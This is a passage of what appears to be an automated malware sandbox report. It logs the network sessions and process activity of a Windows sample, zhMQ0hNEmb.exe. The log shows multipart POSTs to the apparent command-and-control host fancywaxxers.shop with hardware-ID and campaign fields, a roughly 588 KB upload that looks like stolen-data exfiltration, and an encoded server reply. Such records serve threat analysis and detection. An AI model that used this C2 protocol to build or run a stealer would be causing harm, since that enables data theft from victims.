2024-12-31 08:51:12 UTC	5224	OUT	Data Raw: 24 6e 49 6e c9 56 ca e5 5a 2b a1 3f 3a 9e b9 75 bf a2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 73 7d 51 30 b7 ee a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 ae 3f 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce f5 45 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 fe 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a d7 17 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 fa a3 60 6e dd 4f Data Ascii: $nInVZ+?:us}Q0u?4E([:s~X`nO
2024-12-31 08:51:13 UTC	1133	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:51:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hjvrc1dbc20l82nm9hkd5n3fom; expires=Sat, 26 Apr 2025 02:37:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YxMpqmFtrihX49ZXf5RXW0YwXUW13cucK7e9d9qN2B1HhtMPo%2FCOaVlGG9yehoDiYME189TNN86rYC3UddGmhTNw3qrttyw%2F5CGoS6lBwtZnW5qQKp%2FOzt9sKwFSgziVCTZM0g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa906c6597a727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1939&min_rtt=1933&rtt_var=737&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2842&recv_bytes=21513&delivery_rate=1473259&cwnd=232&unsent_bytes=0&cid=ff0c3b17bedc9723&ts=626&x=0"
2024-12-31 08:51:13 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 08:51:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49711	104.21.112.1	443	7660	C:\Users\user\Desktop\zhMQ0hNEmb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:51:14 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=X9VDV1E19ZK4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1202 Host: fancywaxxers.shop
2024-12-31 08:51:14 UTC	1202	OUT	Data Raw: 2d 2d 58 39 56 44 56 31 45 31 39 5a 4b 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 45 44 41 31 32 39 41 39 37 35 30 31 37 42 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 58 39 56 44 56 31 45 31 39 5a 4b 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 58 39 56 44 56 31 45 31 39 5a 4b 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 58 39 56 44 56 31 45 31 Data Ascii: --X9VDV1E19ZK4Content-Disposition: form-data; name="hwid"09EDA129A975017B20A4C476FD51BCB1--X9VDV1E19ZK4Content-Disposition: form-data; name="pid"1--X9VDV1E19ZK4Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--X9VDV1E1
2024-12-31 08:51:15 UTC	1132	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:51:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mn8v2lf2eb4lm5tjc4dnknrus9; expires=Sat, 26 Apr 2025 02:37:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HQxDAjr8LoU%2B36S%2BnvWLEzBh9y%2BVdk57Ply0Z1uXL0UydYjZ0RsCFcTRYfxGm30i5cxDG3klVBGYSPCSoJTDcXdwHddyZ5ismK4iu2WZtUJfGBD9uZKFPZrgLYjevEy9RUCeJw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa906d0abf2424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=15980&min_rtt=1572&rtt_var=9252&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=2114&delivery_rate=1857506&cwnd=248&unsent_bytes=0&cid=5a62386e31c6d50b&ts=420&x=0"
2024-12-31 08:51:15 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 08:51:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49712	104.21.112.1	443	7660	C:\Users\user\Desktop\zhMQ0hNEmb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:51:16 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=EL69GINGAQHO759N User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 588675 Host: fancywaxxers.shop
2024-12-31 08:51:16 UTC	15331	OUT	Data Raw: 2d 2d 45 4c 36 39 47 49 4e 47 41 51 48 4f 37 35 39 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 45 44 41 31 32 39 41 39 37 35 30 31 37 42 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 45 4c 36 39 47 49 4e 47 41 51 48 4f 37 35 39 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 45 4c 36 39 47 49 4e 47 41 51 48 4f 37 35 39 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --EL69GINGAQHO759NContent-Disposition: form-data; name="hwid"09EDA129A975017B20A4C476FD51BCB1--EL69GINGAQHO759NContent-Disposition: form-data; name="pid"1--EL69GINGAQHO759NContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-12-31 08:51:16 UTC	15331	OUT	Data Raw: 1e 6a b7 fb 96 bb 81 d2 48 cc 37 fc 3d 43 0a 96 ce 8b 2b f2 fb c6 66 25 c4 1b 33 0c 6a aa bc 82 14 77 31 12 da 12 d8 5e a9 e3 4b f6 26 74 1e b6 16 1a 49 95 74 30 3c 50 17 36 66 f7 fd c2 85 22 02 18 41 f1 2f ef 94 a4 cc 3b a4 d6 87 6a f3 11 df 81 c4 a0 7a 84 b5 c6 ce fe 87 8c 79 bf f7 7e f8 41 13 de 1c c2 ac e5 82 a1 27 3e 71 22 c5 5b 00 a0 72 33 06 22 f6 91 b5 cc f7 7f e3 b5 b0 e0 33 12 de 7d 0b d3 ab b3 4d 60 a9 4a 25 a6 39 18 a6 85 33 02 41 62 bb bd 1b f1 55 af a2 b4 cb d2 be 81 88 a3 81 4d fa 3e 7c 33 76 7c eb 57 bd ec e3 16 6e cb a8 26 78 13 dc 3a 1f 0b 50 83 71 6b 53 93 cf 93 ae 9d 5a 58 40 bf 40 df cb b4 36 87 64 5a 34 f6 9f 12 6f fc 08 f3 72 57 9e e6 19 d5 45 3f 38 bd 20 d8 fa cb b6 74 71 30 7a b4 f3 3c c8 8e a7 f2 e1 b5 5b 55 34 a5 2c 46 e4 6c 03 Data Ascii: jH7=C+f%3jw1^K&tIt0<P6f"A/;jzy~A'>q"[r3"3}M`J%93AbUM>\|3v\|Wn&x:PqkSZX@@6dZ4orWE?8 tq0z<[U4,Fl
2024-12-31 08:51:16 UTC	15331	OUT	Data Raw: 3e b1 2c fb 9d 30 f9 9a 1e 9d 83 be 5b 0d 27 6c d9 67 6d ca ed 05 e7 e4 26 7e 80 f1 7d 6e ff 2c f6 4d 0e fd 9c d6 cd 51 99 8e a6 b7 a6 4d 66 32 b6 d2 56 43 8f 6f 54 b8 18 dc fa eb cb 8a 60 2c 2f 79 b1 22 a3 67 c5 af c2 44 06 f8 d8 c7 a2 5a c6 df 94 de 45 09 3c ba 59 0c 51 a3 7c 8c 21 b4 cb ef 33 48 fc 52 dc df 37 d8 66 f9 2a 3c 2e ef 7b 77 f7 b6 1d 33 bd 98 60 1e f4 d6 46 ec ed 5b 7a eb cd 02 48 ee a1 0d cb ea 42 04 b4 8b 4f 72 bc 9b 16 15 76 69 75 41 03 15 63 8c c5 40 a0 ff ec 91 02 55 5e e2 2e b2 2b 4e 5c e0 9a 28 4d 1d 2e b0 05 e2 11 70 dc 6a b0 45 51 14 f9 c2 4f 7f bc 78 c2 91 37 93 eb 93 e1 81 e6 96 e7 4b dd 15 38 79 5f 0b 5b bb 73 a7 f5 f3 09 9d 2e 58 4c 09 2f f7 0d 1c f4 dc ee c3 ab 77 e4 82 0f 02 0a 2b ec 84 c0 77 da 0f 51 8c ac 99 37 ec ec ac da Data Ascii: >,0['lgm&~}n,MQMf2VCoT`,/y"gDZE<YQ\|!3HR7f*<.{w3`F[zHBOrviuAc@U^.+N\(M.pjEQOx7K8y_[s.XL/w+wQ7
2024-12-31 08:51:16 UTC	15331	OUT	Data Raw: dc fd fa ed bd 18 91 a1 f1 42 51 d8 6b 81 f5 fb 66 77 f5 00 ee 51 15 13 53 25 30 5e e5 65 6d 3c f7 52 2c 26 c2 fd 87 8e a7 1f 9f b7 be fb 76 48 bd 0b 49 0a 75 dc b3 de b2 a3 50 1a fc 43 f9 4a 4b 73 11 03 ab dd 12 2c 4e 77 99 f1 ec 91 8e ee 67 91 58 d7 19 92 c2 45 da 50 51 e2 70 b2 cc 28 df ca 1d f1 65 9e 5d a5 36 b6 6e 94 4f ff d6 d2 f3 1c 26 13 8d 8f 8b d5 7e 8e 40 0f 11 1b 8e 4f 95 44 ae b5 d0 e5 26 06 cd d4 96 c1 97 e2 ed 5d e6 ec 8a 4d 3d 50 13 cb 8c 43 b2 c9 2c 3d f0 27 8c 5f 49 0c 58 3d ad 1b 17 ef 4c 3d ea c0 73 29 2f f0 9f e6 5c 15 ac 03 3a 9f 8d cd 35 c0 22 ae e1 d1 b2 51 e8 96 f9 d2 27 69 2a 30 ed e4 b8 1a 45 b2 1a 68 9f 61 2d 0c fc c5 d5 8e 8a de ee 79 88 b0 76 4e ba 95 07 bf 64 7a 29 df 39 dc 24 3d 18 61 2e 22 a0 5b e0 c9 78 b4 b4 7c 2a ea f1 Data Ascii: BQkfwQS%0^em<R,&vHIuPCJKs,NwgXEPQp(e]6nO&~@OD&]M=PC,='_IX=L=s)/\:5"Q'i0Eha-yvNdz)9$=a."[x\|
2024-12-31 08:51:16 UTC	15331	OUT	Data Raw: 18 68 6e 3d 86 b7 8e 90 e6 eb 33 9d 68 c2 9e 7d b3 a3 14 5d db ac d8 64 fa fd 7c 73 91 71 a9 da 73 86 39 0b c7 47 32 8d 45 7c 03 74 94 e2 85 57 f2 da b5 0f 4a b6 c1 f0 22 db f4 5d 8f 79 92 63 f0 4f 6f b5 75 66 2f 73 4b 44 0f d3 8a dc 2e c4 61 32 e4 61 94 57 70 bf 4c ac 9f 29 20 bc 2a d6 c9 7e 2e 87 c7 9c 04 39 3b 44 e3 d4 0a 6b ce 38 f5 c5 c1 17 92 e7 ea 8d 55 fc fe 9f 2a e4 ff 77 50 97 01 13 3f e1 69 28 60 38 a8 46 99 06 1d 28 fe ff 05 67 55 1b 45 0b 03 21 de 41 31 d1 75 83 60 66 3b df 7b 15 b8 ad 0a 50 6d 36 3d b2 e7 d5 40 87 0c fd 35 4c bc 01 6f 4d 0c 7b 60 e6 c1 30 7d d8 2a 67 aa a7 11 1f a2 b0 c8 2f b9 04 42 f9 a0 ea 20 ce 61 ec 6b 19 54 1e fc 5b 2d 1f 11 77 1d 0f 33 f3 65 0a 64 8a 58 98 27 6d 9d 7f 86 1d 8e ad 01 24 63 f5 94 70 17 f6 fc 9d dc 47 86 Data Ascii: hn=3h}]d\|sqs9G2E\|tWJ"]ycOouf/sKD.a2aWpL) ~.9;Dk8UwP?i(`8F(gUE!A1u`f;{Pm6=@5LoM{`0}*g/B akT[-w3edX'm$cpG
2024-12-31 08:51:16 UTC	15331	OUT	Data Raw: e5 eb 02 d4 8a f0 31 45 c8 41 c0 78 04 63 63 3f 0e 3a 1a f3 1e a7 72 9c e6 6a 16 1a c6 95 5b e4 b0 61 48 66 32 5a fd d7 71 75 ad 2d 93 61 d9 3d 8c bf 2e 34 3e 3f bb 10 1d 19 9a f9 66 e7 b4 88 66 74 5d 19 62 7d fe bc 8b 27 cf 5e 56 23 85 a6 fd 9d 1a a6 08 e4 f0 1d cf 60 18 8e 08 20 6c 08 2f df d6 a5 bb 89 af ba d7 64 3e 71 ba b1 75 10 5c 53 7c da 4c 69 82 22 6c 36 70 e9 74 e8 6e c5 eb 4f 26 2d 2b 2f e2 58 bd 6b 2a 8b df 02 82 d3 7f c2 a5 57 28 ce 99 55 e5 2d c5 90 75 12 bd 7c b3 f0 f8 5e 0c b8 6c f5 77 06 33 ef 10 f8 a5 61 8b 68 5d 4c 58 c0 4c 65 ec cc a2 66 87 cc 59 62 63 65 fa 06 6d 53 c6 7a 31 d4 a7 79 d3 c5 8b 2d a0 42 e8 29 a0 f3 c3 2d cd 2b 05 0f ed 76 ef 34 d1 af d8 43 5c 8b bd dd 7a 10 f3 4b aa ca 74 c2 08 c1 5f 72 72 c3 76 ce cd b2 0e d2 4e 18 fd Data Ascii: 1EAxcc?:rj[aHf2Zqu-a=.4>?fft]b}'^V#` l/d>qu\S\|Li"l6ptnO&-+/Xk*W(U-u\|^lw3ah]LXLefYbcemSz1y-B)-+v4C\zKt_rrvN
2024-12-31 08:51:16 UTC	15331	OUT	Data Raw: 5a 88 cf 3c e7 5f 8d 0b 95 94 be 42 1a 1f 54 55 8b 0c f5 2a 8e 74 42 0d 6e be 68 27 02 51 83 9d d6 af bb c0 2a 1f e1 7f 62 ec 5b 2a cc 8a 07 fc 10 73 1d da d9 9f 8b 9b 26 30 ed b3 31 2f db f1 f9 b9 38 39 07 08 a9 2e 06 bc 16 72 08 fa 38 29 99 b3 a6 5f 00 1e fc 4d d6 17 60 9e 67 da db 5d 12 2f 60 8f 73 45 e0 31 03 63 c9 8d ee 0a 82 52 87 a0 b6 f5 3c 1f ce 41 6d 5e 0d 8e 30 f1 18 97 6b 5f f0 c4 66 bb 71 be 26 a6 cc c4 21 bd 72 ee 0f f7 d7 0a 72 ea 4c 83 b3 8a 63 15 01 88 10 50 00 41 fd 60 51 26 3e 96 65 e5 24 3b 06 6e fd 32 1f 4e c3 85 bf 39 9c 90 df ac b9 e5 ff dd 02 d1 d6 27 08 52 61 61 72 6b f4 38 81 cc e5 f0 b8 6a 0c 3c c9 36 90 8b 79 12 66 01 8c 13 a3 cb 68 01 aa 40 89 58 f8 45 36 40 15 6a b8 c8 cc fa 22 3b 39 ef 75 5d 56 bd 56 c4 18 af e0 d9 fa 24 5a Data Ascii: Z<_BTUtBnh'Qb[*s&01/89.r8)_M`g]/`sE1cR<Am^0k_fq&!rrLcPA`Q&>e$;n2N9'Raark8j<6yfh@XE6@j";9u]VV$Z
2024-12-31 08:51:16 UTC	15331	OUT	Data Raw: 55 08 a2 b1 9c 21 5a dd da dc 07 90 44 e0 cc 24 e0 48 1f 15 30 f9 9e a7 c7 01 29 1c 33 90 80 70 cf 60 50 3d 9f 60 96 8e c2 a0 0b 8e 25 0f b1 34 cf bc c7 d7 40 89 32 26 23 48 f8 26 00 15 32 2d af 9f 66 28 bb 3a de a9 f9 3d 58 01 a6 b9 ef a8 11 ff b1 06 56 14 03 e3 57 bd bc d6 20 d3 ee 67 a6 dc 05 35 ed 94 1f 13 7e 73 41 b3 f1 d5 19 6a 9f 62 06 fc b6 f6 06 5a cb 58 b7 25 56 18 08 c3 ae da 90 33 25 15 ce 46 e9 fd 22 f9 5d cf 44 29 ac 4b 83 e5 30 49 90 5a 7d e0 e1 6d 47 25 fe cf 70 59 b0 1c 88 41 54 a8 56 dd 1a b8 22 c9 df 27 a2 72 c4 da 95 37 b6 ae 05 de 06 22 64 27 61 eb 52 1b 0f 2a d0 3f b4 02 74 c7 3c 62 29 df e5 0a fb 45 30 c1 7d 78 f5 9c 0e 5e f9 09 ba 75 b8 a1 ca 2d 18 38 89 8c 3c 85 fe 09 36 31 b0 dc 59 07 88 44 e9 82 10 77 62 e2 8b 12 35 3e c7 60 78 Data Ascii: U!ZD$H0)3p`P=`%4@2&#H&2-f(:=XVW g5~sAjbZX%V3%F"]D)K0IZ}mG%pYATV"'r7"d'aR*?t<b)E0}x^u-8<61YDwb5>`x
2024-12-31 08:51:16 UTC	15331	OUT	Data Raw: cf ba bd 82 e1 e7 54 53 08 2a b2 d8 d6 68 2c 4b 35 72 1b 99 bc 3a a6 92 26 f9 7b 34 a4 a0 cf bc 88 67 5e fe a7 5f 2e 5a d0 70 4c a6 03 2c eb 4a f8 f0 19 2d 56 ce 44 2a be e4 c1 4a aa 06 78 7b 95 66 39 22 8a 56 d6 28 f0 f6 50 86 7c fc 43 8b 85 90 3d 2f bd aa 39 c6 68 ac 5f 95 da 10 eb 1a 45 62 17 e9 e7 b6 77 76 1b 79 e5 fc d0 e4 8c 62 81 88 8f 94 92 10 c2 e6 d1 52 a0 94 e3 84 b8 88 a0 ad 57 9f 52 a1 d4 4e 1d e2 5b 09 a2 be 54 b7 22 94 c4 7d 2e 9e 91 2c 28 48 e5 4b e1 b2 a1 76 f8 36 7b c3 1f 91 15 0a b1 25 0e 4f a2 82 b3 af ae 54 30 04 b7 6e 54 a5 8e 05 a2 24 2b 48 88 ee 42 99 49 24 d6 ee be 19 14 39 92 bb b9 94 78 e0 e2 83 4e fd ab f7 a3 b0 9c 80 eb 20 ae be 51 9e 69 ae b3 6f eb 4a cd f5 93 eb 4f 89 2d 2f 23 43 17 e2 0a 5a 51 60 a7 ba db bf dc 47 00 b9 eb Data Ascii: TSh,K5r:&{4g^_.ZpL,J-VDJx{f9"V(P\|C=/9h_EbwvybRWRN[T"}.,(HKv6{%OT0nT$+HBI$9xN QioJO-/#CZQ`G
2024-12-31 08:51:16 UTC	15331	OUT	Data Raw: 7b 4e 45 38 35 94 72 37 de 7a fe 52 75 f2 db 38 b9 d2 e9 55 7d bf aa 8a 2b 92 ad 5d 12 a0 44 fe 35 91 3a dd af d6 f2 3d 6c b5 bd ab 64 d0 90 73 77 7a d5 92 a6 cd e2 68 4b bb d2 d6 87 dd 5f 26 4e 79 e5 f1 a3 7c b8 93 8f d8 df 83 42 56 e9 ef bd 20 f5 f5 60 c7 0d 13 ca bf 23 23 f8 30 73 e2 07 9e af b0 87 31 c0 ae b6 e6 3a d5 bb 02 c1 d8 4d 2f bf 84 00 4d bf 22 de 07 8a a3 92 6e b1 fc 0a a2 61 eb 91 c3 2a 45 36 ae 46 2a b5 62 ec 5d 5f 8b e9 59 e5 68 45 3c 4a 12 85 47 89 a0 74 97 32 ee fe be df a4 80 af 5c 5a 56 60 3b c4 7e 61 76 95 f4 ba c9 17 f7 6e 75 9e 09 4f 2e 69 5c d7 d2 29 5f 06 1c ac 00 4b 91 18 0b 48 02 ac 43 1d c2 4e 77 5a b5 94 54 c1 f4 f1 77 9f 7c 5e 43 54 f5 b5 fd 52 a0 fb c5 0e 34 3c 73 01 58 6c e6 cb aa d0 37 80 e8 ec a4 fe 0e c1 37 a9 b0 a3 fa Data Ascii: {NE85r7zRu8U}+]D5:=ldswzhK_&Ny\|BV `##0s1:M/M"naE6Fb]_YhE<JGt2\ZV`;~avnuO.i\)_KHCNwZTw\|^CTR4<sXl77
2024-12-31 08:51:19 UTC	1131	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:51:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jedhjkqg5nu112pqvth999gehk; expires=Sat, 26 Apr 2025 02:37:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jk5tNEbegPP33HTNSY2V4ETA8CYGFaNvg3zsTlgzIN3OddH9qFg6DTNPnuA9ll99i7lHNe9vf1QDeGzeWZNXFVCR2GRGn2PDqKqbJn7bMUQ9Mz8VezcK6ttRJjgmZY2fT6v9kQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa906da9ebf43b2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1592&min_rtt=1592&rtt_var=597&sent=201&recv=584&lost=0&retrans=0&sent_bytes=2843&recv_bytes=591265&delivery_rate=1834170&cwnd=238&unsent_bytes=0&cid=8272ebf44d44aa04&ts=3264&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49713	104.21.112.1	443	7660	C:\Users\user\Desktop\zhMQ0hNEmb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:51:19 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: fancywaxxers.shop
2024-12-31 08:51:19 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 30 39 45 44 41 31 32 39 41 39 37 35 30 31 37 42 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=09EDA129A975017B20A4C476FD51BCB1
2024-12-31 08:51:20 UTC	1133	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:51:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ifoc7rnroevere0p4l1f10hkjv; expires=Sat, 26 Apr 2025 02:37:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BwipOQIpSVPbrAzGmNFGyI0ZRWk1jwfsLRI1KmDQBqP3w%2FPQtB5ADzzJsT0SBJNZnrOOKkWT0yX%2B53sn4ToGijAwyhLvGQBLglRvEOh3u%2BOsksCSqxutHX9GNpY176WMXDT%2FOw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa906f24c95727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1928&min_rtt=1913&rtt_var=747&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=1435594&cwnd=232&unsent_bytes=0&cid=6fd34096d8c96941&ts=487&x=0"
2024-12-31 08:51:20 UTC	210	IN	Data Raw: 63 63 0d 0a 65 43 77 6a 65 30 34 44 42 73 79 72 31 61 4b 77 7a 33 65 77 59 42 4a 65 4b 77 4b 2f 63 6d 36 70 71 31 56 52 76 54 6d 62 37 68 6f 6a 56 77 45 4f 62 44 6b 6b 70 4e 2b 68 30 6f 71 54 57 4f 78 50 49 32 59 65 4c 49 31 44 57 34 65 61 5a 47 4b 54 43 4b 32 79 4e 52 64 4b 52 53 64 68 5a 32 4f 71 68 62 44 61 31 65 31 62 6b 67 5a 6d 66 42 45 79 6b 31 41 4c 69 35 46 6b 4c 4a 46 43 75 5a 73 34 51 67 35 4c 44 7a 70 7a 50 4a 43 45 69 59 32 42 39 30 4b 65 55 69 4e 72 42 54 4f 4f 51 55 43 59 6e 51 6c 2b 30 6c 2f 39 73 6a 55 63 53 55 56 56 4b 33 74 6a 37 6f 66 33 78 4d 54 74 54 59 42 4d 4d 44 73 4a 4f 49 38 50 4d 77 3d 3d 0d 0a Data Ascii: cceCwje04DBsyr1aKwz3ewYBJeKwK/cm6pq1VRvTmb7hojVwEObDkkpN+h0oqTWOxPI2YeLI1DW4eaZGKTCK2yNRdKRSdhZ2OqhbDa1e1bkgZmfBEyk1ALi5FkLJFCuZs4Qg5LDzpzPJCEiY2B90KeUiNrBTOOQUCYnQl+0l/9sjUcSUVVK3tj7of3xMTtTYBMMDsJOI8PMw==
2024-12-31 08:51:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	03:51:03
Start date:	31/12/2024
Path:	C:\Users\user\Desktop\zhMQ0hNEmb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\zhMQ0hNEmb.exe"
Imagebase:	0x720000
File size:	1'856'512 bytes
MD5 hash:	C0CFE2D0E64EB0DE9AE473D3CF88D4A9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:51:29
Start date:	31/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=zhMQ0hNEmb.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:51:30
Start date:	31/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1824,i,7818808876936737613,10262828118435148065,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
